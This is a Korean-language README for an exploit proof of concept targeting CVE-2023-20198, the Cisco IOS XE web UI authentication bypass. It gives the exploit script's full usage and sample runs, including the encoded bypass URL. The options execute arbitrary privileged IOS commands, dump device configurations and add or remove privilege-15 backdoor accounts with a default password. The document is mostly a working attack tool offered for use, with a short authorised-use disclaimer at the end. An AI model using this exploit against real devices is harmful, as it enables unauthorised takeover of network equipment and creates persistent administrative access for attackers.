
CVE-2023-20198용 익스플로잇 PoC
CVE-2023-20198용 Exploit PoC
취약점 정보 및 익스플로잇 사용법은 smokeintheshell이 제공함 (참고 자료 참조)
엔드포인트, HTTP 콘텐츠 유형 및 헤더 관리는 기존의 다른 PoC에서 수정되어 다른 익스플로잇이 실패하는 상황에서도 작동합니다.
CVE-2023-20198은 부적절한 경로 검증으로 인해 인증 없이 Nginx 필터링을 우회하여 webui_wsma_http 웹 엔드포인트에 도달할 수 있는 취약점입니다.
엔드포인트에 대한 인증을 우회하면 공격자는 임의의 Cisco IOS 명령을 실행하거나 Privilege 15 권한으로 구성 변경을 수행할 수 있습니다.
Cisco가 이전에 공개되지 않았던 취약점의 활발한 악용을 조사한 결과, 위협 행위자들이 먼저 CVE-2023-20198을 악용하여 Privilege level 15를 가진 새 사용자를 추가한 것으로 확인되었습니다. 이후 공격에서는 CVE-2023-20273을 악용하여 기본 Linux OS root 사용자로 권한을 상승시켜 임플란트를 설치했습니다.
이 PoC는 CVE-2023-20198을 악용하여 두 가지 서로 다른 XML SOAP 엔드포인트를 활용합니다:
취약점 확인, 구성, 명령 실행 옵션은 모두 cisco:wsma-exec SOAP 엔드포인트를 대상으로 하여 명령을 execCLI 요소 태그에 삽입합니다.
사용자 추가 옵션은 cisco:wsma-config SOAP 엔드포인트를 대상으로 구성 변경을 수행하고 Privilege 15 계정을 추가합니다. 이 엔드포인트는 다른 구성 변경을 수행하는 데 [악]용될 수 있지만, 이는 이 PoC의 범위를 벗어납니다.
cisco:wsma-exec SOAP 엔드포인트 악용은 nuclei 템플릿에서 비롯되었습니다.
cisco:wsma-config SOAP 엔드포인트 악용은 horizon3ai PoC에서 비롯되었습니다.
참고: 저는 이 CVE에 대한 원본 연구나 PoC 개발을 수행하지 않았습니다. 크레딧은 참고 자료 섹션을 참조하세요.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
CVE-2023-20198을 확인하기 위해 -c 옵션은 취약점을 악용하여 uname -a를 실행하려 시도합니다.
예시:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g 옵션은 sh run을 실행하여 running config를 가져옵니다.
예시:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
임의의 Cisco IOS 명령은 -e 옵션으로 실행할 수 있습니다.
구성 변경에 이 옵션을 사용할 때는 각별한 주의가 필요합니다. 입력 검증이 없으며 변경 사항은 running config에 즉시 적용됩니다.
예시:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a 옵션은 새 Privilege 15 사용자 계정을 생성하는 데 사용할 수 있으며, 계정 이름과 비밀번호는 각각 -u와 -p로 선택적으로 지정할 수 있습니다.
예시:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d 옵션은 장치에서 사용자 계정을 제거하는 데 사용할 수 있으며, -u로 지정된 사용자 이름을 존중합니다.
정상적인 계정을 삭제하지 않도록 주의해야 합니다.
이 옵션은 악용된 Cisco 장치에 셸/webui 접근 권한을 얻을 수 없는 경우를 위해 추가되었습니다. Privilege 15 사용자를 추가해도 webui 접근 권한이 부여되지 않으며 호스트에 악용 흔적이 남을 수 있다는 것이 관찰되었습니다.
Cisco Advisory
horizon3ai CVE-2023-20198 research
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 template (Authors: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
smokeintheshell CVE-2023-20198 PoC
이 프로젝트에 포함된 코드는 연구 및 사용자가 명시적 승인을 받은 시스템에서의 사용만을 위한 것입니다.
이 프로젝트의 작성자는 소프트웨어의 오용에 대해 책임을 지지 않습니다.
책임감 있게 사용하고 악의적인 행위를 하지 마세요.